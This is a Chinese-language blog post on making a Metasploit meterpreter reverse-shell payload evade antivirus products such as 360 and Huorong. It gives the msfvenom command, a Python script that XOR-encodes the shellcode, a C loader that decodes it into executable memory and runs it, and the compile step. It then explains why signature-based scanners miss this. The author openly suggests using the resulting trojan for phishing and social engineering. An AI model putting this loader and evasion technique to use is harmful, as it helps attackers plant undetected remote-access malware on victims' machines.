0%

简单但十分有效的msf免杀

研究了一晚上, 终于研究出来msf🐎免杀的姿势了, 完美绕过360, 火绒等常见杀软.

免杀流程

不多bb, 先直接把免杀的过程放出来, 具体原理后面慢慢解释.

首先使用msfvenom生成一段payload, 具体生成命令如下:

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f C

生成出来的是一个放了一段大十六进制数据的C数组, 这段数据就是msf的payload, 只要让电脑执行这段payload就可以反弹回来一个meterpreter的shell.

但是这段shellcode虽然不会出现在text段里, 但还是会出现在程序的data段中, 如果杀软对data段做了检查就直接gg了. 所以我们还得对这段shellcode做下混淆. 这里我直接用python把shellcode每位异或0x88来混淆, 就可以绕过火绒了. 程序会在执行的时候自动把shellcode解码跳过去执行. 下面是混淆脚本

1
2
3
4
5
6
7
8
9
10
buf =  b""
buf += b"Your_Shellcode"
finBuf=''
print(len(buf))
for i in buf:
aim=hex(i^0x88)
aim=str(aim)
aim=aim.replace('0x',r'\x')
finBuf+=aim
print(finBuf)

接下来的问题就是如何让电脑跳过去执行这段shellcode了, 这里直接放出我的打包方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO")
typedef void(__stdcall *CODE) ();
unsigned char buf[] = "Your_Encoded_Shellcode"
int main(){
for (int i =0;i<580;i++){
buf[i]=buf[i]^0x88;
}
PVOID p = NULL;
p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(p, buf, sizeof(buf));
CODE code = (CODE)p;
code();
return 0;
}

剩下的就是gcc编译出来一个可执行文件就完事了.

1
gcc main.c -o msfshell.exe

到此, 已经生成了一个可以绕过火绒和360的木马, 可以用来给钓鱼社工等的后续使用了.

技术总结

 这轮操作的核心是msfvenom生成的shellcode. shellcode本质上是一段机器码, 在程序执行过程中只要eip寄存器指向了这段机器码的内存地址, 电脑就会执行这段shellcode. 一般在ctf的pwn题目中常见. 这里我们要想办法利用c代码来把这段shellcode内置在程序中, 所以使用了windows.h这个库提供的VirtualAlloc方法来申请一段内存装入shellcode, 后面再使用一个函数指针指向申请出的内存地址, 最后再调用这个函数指针就可以.
 要知道这么操作为啥有效, 得先知道大部分杀软是咋识别文件是否危险的.
 现在普通用户机器上的杀软无非就是识别文件特征码, 就是把构成文件的二进制代码拿出来计算哈希或者类似的东西, 如果计算后的结果能够在自己的病毒库里有匹配, 那就说明了目标是危险的病毒.
 但是检测一个可执行文件的全部内容的运算开销实在是有点大, 为了进一步提高效率, 大部分杀软都会选择只检测程序的代码段(.text), 对程序的数据段(.data)就放过去了.
 我上面的这波操作是把shellcode从.text段移动到了.data段, 让程序执行的时候从.data段拿数据执行. 从而绕过了一大批的杀软… 说实话我都没想到这种傻逼混淆方法效果就这么好了….
 但是如果止步于此还是会被火绒这样的稍微有点责任心的杀软gank, 火绒应该是不仅检测.text, 也检测.data, 所有傻愣愣的把payload放到.data段就绕不过去了.
 为了应对火绒的操作, 我们可以在data段里储存混淆/加密过的shellcode, 这样火绒就不认识了. 比如说上面使用的异或加密, 虽然很简单, 但加密过后的数据就全部乱套了. 后续只要在执行的时候把data段数据先载入内存, 再解个密就搞定.
 可能也是为了运行效率的取舍, 大部分杀软是不检测内存进程的, 以后遇到更强的行为检测的杀软, 可能还得开发新姿势.
 PS: 360和火绒号称能检测进程行为, 但是在我测试的时候还是和死了一样, 实名diss这种弟弟宣传.

遇到的坑

Windows下的dep是真的狗. 我本来没想用Windows.h库的, 想着只用标准库, 把函数指针指向buf数组就完事了, 最多像在Linux下关一下堆栈不可执行保护(NX), 结果发现在Windows下还有一个dep保护, 没办法通过程序自定义关掉, 艹! 最后只能走windows.h库来定义堆栈的情况, 然后走virtualalloc分配内存.

总结

虽然绕过火绒了, 但是也不能觉得火绒垃圾. 后面我试了一下不走这个异或加密, 上传到在线查杀网站上还是只有三个杀软报毒. 火绒这波至少前四. 这个混淆方法有一点好, 就是更换起来非常容易, 如果觉得单字符异或太弱了甚至可以进行流密码加密, 执行的时候再解密. 基本这样可以绕过所有不检测进程内存状态的杀软. 另外我记得msf也支持混淆自身的内存运行状态, 甚至连流量加密也可以做到. 这些等我后面再测试的时候慢慢填坑